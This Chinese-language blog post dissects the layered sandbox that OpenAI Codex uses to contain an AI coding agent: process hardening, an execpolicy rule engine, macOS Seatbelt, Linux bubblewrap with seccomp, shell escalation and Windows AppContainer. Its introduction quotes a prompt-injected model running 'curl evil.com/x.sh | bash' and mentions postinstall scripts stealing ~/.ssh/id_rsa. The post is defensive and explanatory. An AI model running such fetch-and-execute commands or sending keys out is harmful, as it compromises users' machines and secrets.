← 返回写作
20 分钟阅读

把 AI 关进笼子里:Codex Sandbox 全景拆解

把 AI 关进笼子里:Codex Sandbox 全景拆解

把 AI 关进笼子里:Codex Sandbox 全景拆解

引言

你让 Codex 帮你修个 bug。它读了几个文件,想了几秒,决定执行:

1
rm -rf node_modules && pnpm install

它已经按下回车了,你才看到那行命令。

这一秒钟,至少有十种东西可能出错。rm 把路径写错——比如多了个空格——就能把你的家目录端掉。pnpm install 顺手跑了某个恶意 postinstall 脚本,把 ~/.ssh/id_rsa 上传到了境外服务器。模型被 prompt injection 了,前一秒还在改 React 组件,下一秒突然 curl evil.com/x.sh | bash

让 LLM 自己在你电脑上跑命令,本质上是在邀请一个永远都没法 100% 信任的实习生进入生产服务器。


先说清楚:Sandbox 到底是什么

如果你是第一次听 sandbox(中文译”沙箱”)这个词,先用一句话定义:

Sandbox 就是给一段你不完全信任的代码一套受限的执行环境,让它只能用你允许的资源、只能干你允许的事。坏事不是靠它自觉不做,而是环境本身让它做不出来。

这是一个非常老的安全概念,已经悄悄塞满了你身边几乎所有现代软件:

你在用的东西 它的 sandbox 长什么样 防的是什么风险
Chrome 浏览器 每个 Tab 一个独立的渲染进程,进程被 OS 限制不能读你硬盘的任意文件 一个网页有 0day 漏洞,最多只能搞到当前 Tab,不能拿到你其他网站的 cookie 或本地文件
iPhone App 每个 App 跑在自己的 Container 目录里,默认只能访问 /Apps/<bundle-id>/ 下的文件 一个 App 装上来不能偷另一个 App 的数据,更不能动系统文件
Docker 容器 进程跑在 Linux namespace 隔离里,文件系统、网络、PID 全部独立 一个容器被攻破,不影响宿主机和其他容器
AWS Lambda 每次函数调用启动一个 Firecracker 微 VM,几毫秒后销毁 函数里有恶意代码?影响半径 = 这一次调用

形式各异,思路完全一致:给定一个不完全信任的执行体,用 OS / 内核 / 硬件层面的隔离机制,把它的”能力”收窄到你能接受的范围

一个 sandbox 通常控制四类能力:

能力 不控制会发生什么 sandbox 怎么管
文件系统 程序读光你的 ~/.ssh/id_rsa、删光你的 ~/Documents/ 默认全只读 / 全不可见,显式开放某些目录
网络 把你的代码、token、密钥往外发 默认断网,显式允许某些域名/端口
进程 fork 出子进程做坏事、ptrace 别的进程偷数据 限制 fork、禁 ptrace、新进程不能提权
系统调用 (syscall) 直接 mountrebootkexec_load 内核级搞事情 用 seccomp / AppArmor 按 syscall 白名单拦截

为什么 AI agent 时代 sandbox 突然变得格外重要? 因为 AI 是有史以来最不可信任的执行体

  • 传统程序的行为是写死的,你 review 代码就能知道它会干什么
  • AI 的行为是采样出来的,没人能保证下一秒不会因为某个奇怪的 prompt 跑出 rm -rf /
  • AI 还可能被prompt injection(攻击者把恶意指令藏进它读到的文档/网页),让它做你完全没批准的事

传统软件的 sandbox 思路完全适用:不要相信 AI 守规矩,让环境本身阻止它做坏事。Codex 把这个思路做到了极致 —— 不是一道墙,是 5 道叠在一起的墙,任何一道都不假设自己是最后一道防线。


业界三种应对

回到 AI agent 这件事上。让 AI 自己跑命令,业界目前处理的方式分三档:

  • Aider / Continue 等:让用户每条命令都人工 confirm。安全但慢。
  • Cursor Agent / Claude Code:默认大多数命令直接执行,靠 prompt + 用户警觉性。快但险。
  • OpenAI Codex:默认就把 AI 关在一个工业级 sandbox 里。AI 想干的事先过五道关,能过的才落地。

第三种是这篇文章的主角。Codex 的 codex-rs/ 里和 sandbox 相关的 crate 有 7 个,实现了 5 层防御(windows-sandbox-rs 是平台 sandbox 在 Windows 上的实现,bwrap 是 linux-sandbox 的兜底二进制):

Crate 干什么
process-hardening 进程级加固,禁止 ptrace、core dump、LD_PRELOAD 注入
execpolicy 命令白名单引擎,Starlark DSL,allow / prompt / forbidden 三档
sandboxing 跨平台 sandbox 编排器,根据 OS 选择 seatbelt / bubblewrap / Windows
linux-sandbox Linux 实现:bubblewrap + seccomp + namespaces
bwrap 内嵌的 bubblewrap 二进制,作为系统 bwrap 的兜底
windows-sandbox-rs Windows 实现:AppContainer + RestrictedToken + WFP 防火墙
shell-escalation shell 内 execve 拦截,给「用户主动批准的」命令开后门

这五层叠在一起像一个洋葱,每一层独立成立、合在一起做纵深防御。这篇文章把每一层拆开,告诉你它在防什么、怎么防、为什么是这样而不是那样。读完你会知道:当 AI 想 rm -rf 你的家目录时,到底是哪些代码在按住它的手。

Codex sandbox 五层防御洋葱总览


总览:五层洋葱

把请求从「模型决定要跑某条命令」到「命令真正在 OS 上落地」的整条路径列出来:

顺序 拦截时机 兜的是什么风险
0 进程加固 Codex 进程启动前(pre-main) 攻击者已经在你的机器上有同用户权限,想横向劫持 Codex 进程本身
1 execpolicy 检查 命令到达 sandbox 之前 已知危险命令(rm -rf /git push --force)、未审计命令
2 平台 sandbox 进入 命令真正 fork 之前 文件系统越权、网络外联、子进程 fork 提权
3 内核级隔离 进程已经在 sandbox 内运行 利用 syscall 越狱(unshare、ptrace、mount)、namespace 逃逸
4 shell 内拦截 sandbox 内的 shell fork 子进程时 用户主动批准某条命令需要「跳出 sandbox」执行

接下来逐层拆开。


1. 进程加固:还没进 main() 就关上的几扇门

最容易被忽视的一层,也是最先生效的一层。

codex-rs/process-hardening/src/lib.rs 里有个函数叫 pre_main_hardening(),通过 #[ctor::ctor] 这个属性宏(ctor,constructor 的缩写,让函数在 main() 之前被自动调用)注册成构造器。Codex 进程一加载,这个函数就先跑。

它干四件事(下面代码块是 Linux 版的精选三件,macOS 版还会多做一件清空 DYLD_*MallocStackLogging):

1
2
3
4
5
6
7
8
9
// codex-rs/process-hardening/src/lib.rs:45
pub(crate) fn pre_main_hardening_linux() {
// 1. 关闭 ptrace 附加和 core dump
libc::prctl(libc::PR_SET_DUMPABLE, 0, 0, 0, 0);
// 2. 把 core 文件大小上限设为 0
set_core_file_size_limit_to_zero();
// 3. 清掉所有 LD_* 环境变量
remove_env_vars_with_prefix(b"LD_");
}

每一个都对应一类攻击。

Codex 进程加固的 4 件事,分别对应 4 类典型攻击场景

**PR_SET_DUMPABLE = 0**(Linux)/ **ptrace(PT_DENY_ATTACH)**(macOS)。把当前进程标记为「不可调试」。同一用户下的其他进程不能用 gdbstracelldb 附加上来读 Codex 的内存。这堵的是:你机器上已经被一个低权限的恶意进程(比如某个 npm 包的恶意脚本)感染了,它会扫同 UID 下的进程,找到 Codex 之后挂上 ptrace 抓你和 OpenAI API 的会话 token。设了 PR_SET_DUMPABLE = 0 之后,ptrace 直接 EPERM 失败。

RLIMIT_CORE = 0**(所有 Unix)。把 core dump(core dump**,进程崩溃时操作系统把内存快照写到磁盘的文件)大小硬限制为 0。Codex 在内存里持有 API key、对话历史、你正在编辑的文件内容。它如果不幸 panic 了,没有 core dump 意味着这些敏感信息不会被写到 /var/lib/systemd/coredump/~/Library/Logs/DiagnosticReports/ 这种地方等着别的进程或者系统级日志收集器读。

清空 LD_*DYLD_***。LD_PRELOAD**(Linux)和 **DYLD_INSERT_LIBRARIES**(macOS)是动态链接器(dynamic linker,加载 .so/.dylib 共享库的运行时组件)的环境变量,可以让任意 .so 在程序的所有库之前被加载。攻击者最经典的提权路径之一:往 LD_PRELOAD 里塞一个恶意 .so,里面 hook 了 libcgetenvopenwrite,所有读环境变量、读文件、写日志的调用都先进它的代码。Codex 在 main() 之前清空所有 LD_ 开头的环境变量,等于关掉这条注入路径。

**清空 MallocStackLogging**(macOS 独有)。这个变量开了之后会让 macOS 的 malloc 把所有堆栈分配的调用栈记到一个文件里。在 TUI 这种持续刷屏的场景下,会把 stack log 喷到终端里污染 UI(issue #11555)。这条不是安全问题,是体验问题。但它和上面那些挤在同一个函数里,因为它们都属于「进程一启动就该处理掉的环境噪声」。

这一层的特点是:只防同 UID 下的攻击。一个有 root 的攻击者照样能绕过 ptrace 限制、读 core dump、修改环境变量。Codex 不假设它是在被 root 攻击的环境里运行——那已经是另一个量级的威胁模型了,谁也救不了你。


2. Execpolicy:命令到达 sandbox 之前的政审

进程加固只是开场。真正决定「AI 能不能跑这条命令」的是 execpolicy 这个 crate。

它本质是一个策略引擎(policy engine,输入命令、输出 allow/prompt/forbidden 决定的纯函数模块)。规则用 Starlark 写——一种 Python 风格的配置 DSL(Bazel、Buck 都在用),故意去掉了循环、可变全局状态和动态特性,因此规则文件可以被安全地解析、缓存、并行评估。

一条规则长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
# codex-rs/execpolicy/examples/example.codexpolicy
prefix_rule(
pattern = ["git", "reset", "--hard"],
decision = "forbidden",
justification = "destructive operation",
match = [
["git", "reset", "--hard"],
],
not_match = [
["git", "reset", "--keep"],
"git reset --merge",
],
)

pattern 是一个有序的 token 数组。命令传进来之后被 shlex 切成 token 数组,按顺序匹配。pattern 里的元素也可以是数组,表示「这一位允许多选一」(比如 ["cmd", ["alt1", "alt2"]])。

decision 三档:

  • allow:放行
  • prompt:弹给用户人工确认
  • forbidden:直接拒,并把 justification 字段作为拒绝理由展示

match / not_match 是规则自带的「单元测试」。规则在加载时就会跑这些 example,确保你写的规则真的能匹配你想匹配的命令、不会误伤想放过的命令。这是一个非常聪明的设计——大部分策略系统的规则只能上线之后靠用户翻车来验证,Codex 在规则文件里就强制你写 example。

匹配语义有两个细节值得说。

严格度合并。一条命令可能匹中多条规则,最终决定取最严格的:forbidden > prompt > allow。这意味着你可以叠加规则:写一条 prefix_rule(pattern=["git"], decision="allow") 给 git 整体放行,再单独写 prefix_rule(pattern=["git", "reset", "--hard"], decision="forbidden") 拦截危险子命令——git reset --hard 同时命中两条,最严的 forbidden 生效。注意:如果你显式写 git 的 allow 规则,那”未匹配”≠”放行”,效果取决于你的 Codex 配置(有些场景下未匹配会触发 prompt)。

Host executable 解析。命令里的程序名是 git 还是 /usr/bin/git 还是 /opt/homebrew/bin/git,匹配语义不一样。默认情况下,/usr/bin/git status 只匹配 pattern = ["/usr/bin/git", ...] 的规则,而 git status 只匹配 pattern = ["git", ...] 的规则。开了 --resolve-host-executables 之后,绝对路径会回退到 basename 规则。如果你显式声明了 host_executable(name="git", paths=["/opt/homebrew/bin/git", "/usr/bin/git"]),那么只有这两个绝对路径会被允许回退到 git 的 basename 规则——这是为了防止 PATH 注入/tmp/git 即使被打到 PATH 第一位也不会被当成你信任的 git

execpolicy 是一个独立的 binary(codex execpolicy check --rules path/to/policy git status),返回 JSON。这意味着你可以把它作为单独的 CLI 工具集成进任何 CI / 审计系统,不一定得跑 Codex。

这一层的核心价值是审计可读。AI 想跑什么、被允许还是被拒绝,全是可声明、可 review、可 diff 的文本规则。出事了能复盘。


3. macOS Seatbelt:Apple 自家的笼子

如果 execpolicy 放行了,命令进入平台 sandbox。先讲 macOS。

macOS 的 sandbox 机制叫 Seatbelt(Apple 自家也没起特别好的中文名,行业里偶尔叫”安全带”),上层 CLI 是 /usr/bin/sandbox-exec,下层是 Apple 内核的 Sandbox.kext。Sandbox 策略用 SBPL(Sandbox Profile Language,Apple 没有官方文档的 Scheme 方言)写。Codex 在 codex-rs/sandboxing/src/seatbelt_base_policy.sbpl 里维护着一份基础策略,源头明确标注「inspired by Chrome’s sandbox policy」——抄的是 Chrome 渲染进程的沙箱配置。

macOS Seatbelt 架构:Codex → /usr/bin/sandbox-exec → SBPL 策略 → Sandbox.kext 内核

策略文件第一行非常关键:

1
2
(version 1)
(deny default)

默认拒一切。剩下几百行全是「允许……」的白名单。这是和 iptables 防火墙完全一样的设计哲学:default-deny 比 default-allow 安全一个数量级,因为前者的失误是「合法操作被拒」(用户立刻发现并修),后者的失误是「危险操作被放过」(可能很久才被发现)。

被显式允许的事情非常窄:

  • 进程:process-execprocess-fork,子进程继承同样的 sandbox
  • sysctl 读取:只允许查 CPU 信息(hw.ncpuhw.memsize 等)和 OS 版本
  • IOKit:只允许 RootDomainUserClient
  • mach 服务:只允许 opendirectoryd(查 user info)、cfprefsd(读 user preferences)
  • pseudo-tty:开 pty 让交互 shell 能用
  • /dev/null 写入

网络默认完全禁止。需要联网时,再叠加一份 seatbelt_network_policy.sbpl,里面也只放行了「为了让 TLS 工作」的最小集合:与 SecurityServer 通信验证证书、与 SystemConfiguration 通信查 DNS 配置。

文件系统默认完全不可读不可写。运行时根据用户配置的 PermissionProfile 动态生成 (allow file-read* (subpath "..."))(allow file-write* (subpath "...")) 规则附加到基础策略后面。可写根目录(writable roots)来自配置,常见是 cwd/tmp。任何不在白名单里的路径,连 stat() 都会失败。

源码里有一个体现 paranoid 思维的小细节:

1
2
3
4
5
6
// codex-rs/sandboxing/src/seatbelt.rs:25-29
/// When working with `sandbox-exec`, only consider `sandbox-exec` in `/usr/bin`
/// to defend against an attacker trying to inject a malicious version on the
/// PATH. If /usr/bin/sandbox-exec has been tampered with, then the attacker
/// already has root access.
pub const MACOS_PATH_TO_SEATBELT_EXECUTABLE: &str = "/usr/bin/sandbox-exec";

这是硬编码绝对路径。Codex 不查 PATH,不接受配置覆盖。理由写在注释里:如果攻击者能改 PATH 注入一个假 sandbox-exec,没问题,那一定有 root 才能继续——但这种情况下 /usr/bin/sandbox-exec 也已经被换了,整个机器都已经沦陷,sandbox 是否可信也不重要了。把信任锚点钉死在 /usr/bin,等于把「我相信 macOS 系统目录没被改」这一条假设暴露出来——不能更小,但也别更大。

启动一条命令时,Codex 实际跑的是:

1
/usr/bin/sandbox-exec -p '<动态拼出的 SBPL 策略>' -- <用户命令>

那段策略前面是 seatbelt_base_policy.sbpl 的全文,中间是动态生成的 file-read / file-write / network 段,后面如果开了 restricted_read_only_platform_defaults 还会加一段 macOS 系统路径的只读访问。整套策略以字符串形式直接传给 sandbox-exec,不落盘。


4. Linux Bubblewrap:用 Linux namespaces 拼出来的笼子

Linux 没有 Seatbelt 那种「用一份策略文件描述一切」的官方接口,但它有更底层、更灵活的原料:namespaces(命名空间,让进程拥有独立视角的 mount/pid/net/user 等)和 seccomp-bpf(系统调用过滤器)。

把这堆原料组装成一个能用的 sandbox 的工具叫 Bubblewrap(GNOME Flatpak 在用的那个,二进制名 bwrap)。Codex 直接调用它。

linux-sandbox 这个 crate 启动一条命令时,构造的命令大致长这样(简化):

1
2
3
4
5
6
7
bwrap \
--unshare-user --unshare-pid --unshare-net \
--ro-bind / / \
--bind /home/leslie/proj /home/leslie/proj \
--ro-bind /home/leslie/proj/.git /home/leslie/proj/.git \
--proc /proc \
-- <用户命令>

每一行都在做一件事:

参数 作用
--unshare-user 创建新的 user namespace,进程的 UID 和外面不一样,里面是 root 外面是普通用户
--unshare-pid 创建新的 PID namespace,进程在里面看不到外面其他进程
--unshare-net 创建新的 network namespace,里面没有任何网卡(断网)
--ro-bind / / 把整个根目录以只读方式 mount 到沙箱里
--bind <root> <root> 把指定目录改成可读可写(在 ro-bind 上面叠加)
--ro-bind <protected> 把可写目录里的敏感子路径(.git.codex)再覆盖回只读
--proc /proc 在沙箱里挂一个新的 procfs,避免泄露宿主进程信息

这一套组合的语义是默认全只读 + 显式开窗口。一个写权限是这样获得的:先 --ro-bind / / 把整个根都封死,再 --bind /home/leslie/proj /home/leslie/proj 把工作目录单独开放,再 --ro-bind /home/leslie/proj/.git /home/leslie/proj/.git.git 重新封回只读(防止 AI 改 hooks 或 history)。

Codex 在拼装 bwrap 参数时按路径特异性排序——窄路径的规则放后面挂载,从而覆盖前面挂的宽路径规则。下面这三条规则叠在一起,结果是 /repo 可写、/repo/a 拒绝、/repo/a/b 又可写:

1
2
3
--bind     /repo        /repo         # 1. 整个 /repo 可写
--ro-bind /dev/null /repo/a # 2. 屏蔽 /repo/a(用 /dev/null 覆盖)
--bind /repo/a/b /repo/a/b # 3. 重新打开 /repo/a/b 可写

Linux Bubblewrap 的 mount 叠加:默认全只读,按路径特异性逐层开窗口

进入 bwrap 之后还有两件事在 in-process 做:

1
2
3
// codex-rs/linux-sandbox/README.md
- When bubblewrap is active, the helper applies `PR_SET_NO_NEW_PRIVS` and a
seccomp network filter in-process.

PR_SET_NO_NEW_PRIVS 是 Linux 3.5(2012 年)引入的进程标志,设了之后这个进程及其所有子进程都不能通过 execve 提权(setuid 二进制无效化、Linux capabilities 不能新增)。等于把「执行 sudosumount 这种 setuid 程序」这条提权路径整体废掉。

Seccomp 网络过滤。这里用到的 seccomp-bpf(secure computing mode + BPF 过滤器)是 Linux 内核机制,可以按 syscall 编号和参数白名单或黑名单 syscall。当网络被禁时,bwrap 已经给了一个空的 net namespace(无网卡),但 Codex 还要叠一道 seccomp 拦截 socket()socketpair() 等创建套接字的调用,作为 namespace 的二次保险。即使代码里调用 socket(AF_INET, ...) 也会直接 EPERM

Bubblewrap 自己的安全防御

Codex 在选择 bwrap 二进制时也很小心。codex-rs/sandboxing/src/bwrap.rs:168 里的 find_system_bwrap_in_path() 干这件事:

1
2
3
4
5
6
7
8
9
10
which::which_in_all(SYSTEM_BWRAP_PROGRAM, Some(search_path), &cwd)
.ok()?
.find_map(|path| {
let path = std::fs::canonicalize(path).ok()?;
if !cwd_is_root && path.starts_with(&cwd) {
None // ← 拒绝任何在当前工作目录下找到的 bwrap
} else {
Some(path)
}
})

搜 bwrap 的时候,主动跳过当前工作目录下的命中。攻击场景:你 cd 进了某个不可信的项目,项目里有个 ./bwrap 是恶意脚本,PATH 又恰好包含 .(虽然不该有但确实有人这么配)。如果 Codex 直接用 which bwrap 拿到 ./bwrap,那这个项目就能控制 sandbox 本身。所以 Codex 主动把 cwd 排除掉,逼自己用 /usr/bin/bwrap 这种系统路径。

如果系统压根没装 bwrap,Codex 还自带一份:codex-rs/bwrap/ 这个 crate 编进去一份 bundled bwrap 二进制作为兜底,避免在没装 bubblewrap 的发行版上完全失效。

启动前还有一道能力探测:通过跑一次 bwrap --help 看输出里有没有 --argv0(v0.9.0 引入)和 --perms,决定走哪条兼容路径。Ubuntu 20.04 / 22.04 自带的 bwrap 太老不支持 --argv0,Codex 不会假装它支持,而是切到「不带 --argv0」的兼容路径。

还有一道用户命名空间可用性探测:Docker、有些公司的 Linux 加固镜像、WSL1 都禁用了 user namespace。Codex 在启动时跑一次 bwrap --unshare-user --unshare-net --ro-bind / / /bin/true,超时 500ms,看能不能成功。失败了就提前在 TUI 顶上挂一行警告:「你的环境不支持 user namespace,sandbox 不会生效」。WSL1 因为根本不支持 user namespace,Codex 直接拒绝跑。


5. Shell 内拦截:用户主动批准的「越狱」

前面四层都在收紧。第五层反过来——给用户一个明确同意之后跳出 sandbox 的口子。

场景是这样的:你在 sandbox 里跑命令,AI 想 git push origin main。push 需要 SSH key,SSH key 在 ~/.ssh/,但 ~/.ssh/ 不在可写根里,连读都不行。怎么办?

codex-rs/shell-escalation/ 的设计是:一个 patched zsh + 一个 wrapper 二进制 + 一个 IPC 协议

Shell escalation:patched zsh → execve-wrapper → escalation server,通过 SCM_RIGHTS 把 fd 转交到 sandbox 外的进程

对应的执行链路:

  1. Codex 启动一个 shell,但不是普通的 zsh,是一个打了补丁的 zsh(patch 在 codex-rs/shell-escalation/patches/zsh-exec-wrapper.patch,给 zsh 的 Src/exec.c 加了一个 EXEC_WRAPPER 钩子)。
  2. 这个 zsh 每次要 fork-exec 子进程之前,先 execve 一个 wrapper 程序 codex-execve-wrapper,把原命令的参数传进去。
  3. wrapper 通过环境变量 CODEX_ESCALATE_SOCKET 拿到一个文件描述符(fd,file descriptor),通过这个 fd 和 Codex 主进程上的 escalation server 通信,发送「我要跑这条命令,要怎么处理?」
  4. server 看一眼命令、走一遍 execpolicy、可能弹给用户人工确认,回三种之一:
响应 含义
Run 在 sandbox 内正常跑——wrapper 自己 execve 原命令
Escalate 跳出 sandbox 跑——server 接管 fd,在 sandbox 外执行,跑完把 exit code 转回去
Deny 拒绝——wrapper 打印错误,exit 1

这里精彩的地方在 fd 转移。”escalate” 不是简单地把命令 fork 到 sandbox 外面就完事,而是要把 stdin / stdout / stderr 这三个 fd 透明地传到 sandbox 外的进程上,让它的输入输出和原本在 sandbox 内的语义完全一致。Linux 上这通过 SCM_RIGHTSancillary message,可以在 Unix domain socket 上传 fd 给另一个进程的内核机制)实现。这是这个设计的核心 trick——它让「跳出 sandbox」从用户视角看是无感的,命令的输出还是流式回到原来的终端。

这一层是 Codex 区别于其他 AI agent 的一个隐藏功能:不是简单地”关 sandbox”或”开 sandbox”,而是允许 sandbox 内的某条命令例外性地跳出来执行。从架构上讲,它解决的是「sandbox 太严会卡死真实工作流,sandbox 太松又失去意义」这个根本矛盾。


6. Windows:完全不一样的一套

到这里你可能注意到:上面四层都是 Unix 的。Windows 整个生态没有 namespace、没有 seccomp、没有 sandbox-exec。Codex 在 Windows 上走的是完全不同的一套机制。

Windows 沙箱 4 件套:AppContainer + Restricted Token + Job Object + Window Filtering Platform

codex-rs/windows-sandbox-rs/ 的源码体量比 Linux 还大,主要靠这几个 Windows 特性:

  • AppContainer:Windows 8 引入的应用隔离机制,原本给 UWP / Edge 用的。每个 AppContainer 进程有独立的 SID(Security Identifier),按 SID 给的 ACL(Access Control List,文件/注册表的访问控制列表)来决定能访问什么。
  • Restricted Token:把进程的访问令牌”减权”,去掉 admin 组、去掉危险的特权(SeDebugPrivilege 之类),只留必需的 SID。
  • Job Object:把进程绑到一个 job,限制它能创建多少子进程、能用多少内存、能存活多久。
  • **Window Filtering Platform (WFP)**:Windows 内核里的网络过滤框架,Codex 用它实现网络访问的细粒度控制(wfp.rswfp_setup.rs),相当于给这个 sandbox 单独装了一道防火墙。
  • 私有 Desktop:可选地把 sandbox 进程放到一个独立的 Windows Desktop 对象上,让它不能截屏、不能模拟键盘输入到主桌面。

构造方法上也很不一样。Linux 的 bwrap 是「fork + namespace + exec」,所有隔离在子进程的 namespace 里。Windows 的 AppContainer 是「按 SID 配 ACL + 用 restricted token 启动进程」,所有隔离在 NT 内核的访问控制里。两套机制都能达到「文件系统沙箱 + 网络隔离 + 提权阻断」的效果,但思路完全不同。

Codex 在 Windows 上还做了一些 Linux 用户想象不到的事情:**hide_users.rs** 在 sandbox 启动时枚举宿主上的用户账户,从 sandbox 视角隐藏掉,避免 AI 通过 net user 之类的命令枚举到其他用户存在;**ssh_config_dependencies.rs** 专门处理 OpenSSH 在 Windows 上的配置依赖,因为 SSH 的 known_hosts 默认在 %USERPROFILE%\.ssh\ 而 sandbox 内的 home 是被重映射的。

Windows sandbox 看起来是 Codex 三个平台里近期改动最活跃的一块。如果你打算从这里改起,可以预期 git log 上的 churn 比 Linux 那块明显多——这意味着你既能赶上新设计,也要做好接住未稳定接口的准备。


7. 几个聪明的设计决策

把上面五层串起来再观察,能看到一些贯穿全栈的设计取舍。

纵深防御(Defense in Depth)。任何一层都不假设自己是最后一道防线。execpolicy 拦掉的命令,sandbox 也会再拦一次(防止规则文件被篡改);sandbox 隔离的网络,seccomp 也会再封一次(防止 namespace 被绕);进程加固关掉的 ptrace,sandbox 内的 PR_SET_NO_NEW_PRIVS 也再次禁了 setuid 提权。冗余不是浪费,是兜底。

默认全拒,显式放行。从 (deny default)--ro-bind / / 到 execpolicy 的「未匹配等于不放行」,整条链路上每一层都遵守同一个规则:白名单只比黑名单严一点点,但安全性不在一个量级。

信任锚点钉死在系统目录/usr/bin/sandbox-exec 硬编码、bwrap 主动拒绝 cwd 路径下的二进制、execpolicy 用 host_executable 限制绝对路径回退。这背后是同一个判断:配置可以被攻击者改,环境变量可以被攻击者改,PATH 可以被攻击者改,但是改 /usr/bin/ 需要 root,到那一步整个机器已经丢了。把信任建立在「需要 root 才能破坏」的东西上,比建立在「任何同 UID 进程都能破坏」的东西上安全得多。

能力探测优先于假设。bwrap 是不是支持 --argv0、是不是有 user namespace 权限、机器是不是 WSL1,全是运行时探测出来的,不是猜的。这看上去琐碎,但意味着 Codex 在不同发行版、不同内核版本、不同容器化环境里都不会因为一个小差异就崩。

警告前置。bwrap 缺了、user namespace 没权限、WSL1 不能跑 sandbox,这些问题 Codex 在启动时就探测出来在 TUI 顶上挂横幅,而不是等用户跑了一条命令才在 stderr 喷一段晦涩的内核错误。这是把 UX 当成安全功能的一部分来设计——一个用户看不懂的安全警告,等于没有警告。

给”用户主动越狱”留口子。shell-escalation 是这套架构里我最喜欢的一块。它承认了「绝对的隔离会让工具不可用」这件事,同时设计了一个明确的、有人工同意的、可审计的越狱路径。让安全策略可执行的关键,从来不是把规则定到最严,而是给合理的例外留出口。


8. 总结:一张表回顾,加上几个二开方向

整套 Codex sandbox 拦截链路按命令的流向走一遍:

步骤 在哪一层 谁的代码
1. Codex 进程启动 进程加固 process-hardeningpre_main_hardening()
2. AI 决定执行某条命令 (还没拦截) core
3. 命令送进策略检查 execpolicy execpolicy::check()
4. 决定走 sandbox sandboxing SandboxManager::transform()
5. macOS 走 seatbelt / Linux 走 bwrap / Windows 走 AppContainer 平台 sandbox sandboxing::seatbelt / linux-sandbox / windows-sandbox-rs
6. 内核级隔离 namespaces + seccomp + AppContainer Linux/Windows 内核
7. sandbox 内 shell 想 fork 子进程 shell-escalation codex-execve-wrapper
8. (可选)跳出 sandbox 执行 shell-escalation server escalation IPC + fd 转移

每一层都对应着一类具体威胁、用着对应平台上最贴近内核的那个机制、并且默认全拒

回到文章开头那条 rm -rf node_modules && pnpm install

  • 进程加固层确认 Codex 进程本身没被同 UID 攻击者劫持
  • execpolicy 检查 rm -rf 是否触发了规则——可能是 prompt,弹给你确认
  • 你点了 yes,sandbox 启动
  • macOS 上:sandbox-execrm 关进只读根 + 你工作目录可写的 SBPL 策略里,任何越界访问都被内核拒绝
  • Linux 上:bwrap 给 rm 一个新的 user/pid/net namespace,根目录只读,工作目录可写,没有网络
  • pnpm install 想跑的恶意 postinstall 脚本,没有网络(除非允许)、没法读 ~/.ssh/、没法 sudo、没法 LD_PRELOAD 注入到任何东西

每一层单看都不复杂,叠在一起就是一个外人想攻破 Codex 至少得过五道关的纵深防御体系。


如果你想基于 Codex 做 sandbox 方向的二次开发,自然的几个方向:

写一份公司专属的 execpolicy。最小成本的改造。在 codex-rs/execpolicy/examples/ 旁边新建你公司的 corp.codexpolicy,把内部认为危险的命令(比如 kubectl deleteterraform destroy、改某些机密文件)单独标 forbidden 或 prompt。配合 --rules 参数加载,立刻生效,不需要碰任何 Rust 代码。

接审计日志。execpolicy 的所有决策都是结构化 JSON,你可以在 codex-rs/sandboxing/src/manager.rstransform() 里加一道 hook,把每条命令的决策、justification、命中规则写到公司内部审计系统(SLS、ELK、splunk 都行)。

抽出 sandbox 模块独立成库codex-rs/sandboxing/ 这个 crate 设计上和 codex 业务耦合很轻,主要依赖 codex-protocolSandboxPolicy 类型。你可以把它 fork 出来作为公司内部所有需要”在自家机器上跑不可信代码”的项目的统一 sandbox 库——典型场景:CI runner、AI 数据处理 pipeline、用户上传脚本执行平台。

给特定语言加更紧的 policy。Python pip install 的 setup.py 任意代码执行、Node pnpm install 的 postinstall 脚本,本质上是 sandbox 没区分「运行代码」和「构建代码」。可以在 execpolicy 之上叠一层语言特化策略:跑 pip 时强制 --require-hashes、跑 pnpm 时强制 --ignore-scripts,等等。

最难的其实不是写代码,是定义清楚你公司的「可接受的风险」是什么。Codex 默认策略反映的是 OpenAI 自己的风险模型——给云上 ChatGPT 用户提供一个公开的、对抗 prompt injection 的本地代理。你公司的风险模型可能完全不同:内部数据敏感度更高、外网访问要走公司 proxy、命令审计要进合规系统、不同部门需要不同的策略集合……这些都是 Codex 默认策略给不了你答案的事情,但它给了你一个能回答这些问题的好底座。


参考资料

Ask Leslie

从本站公开文章中寻找答案。当前版本在浏览器本地检索,不上传问题,也不会编造不存在的经历。

输入一个问题,我会把你带到 Leslie 写过的相关内容。

微信联系

Leslie Zhang 的微信二维码

扫码添加 Leslie,建议备注你的名字与来意。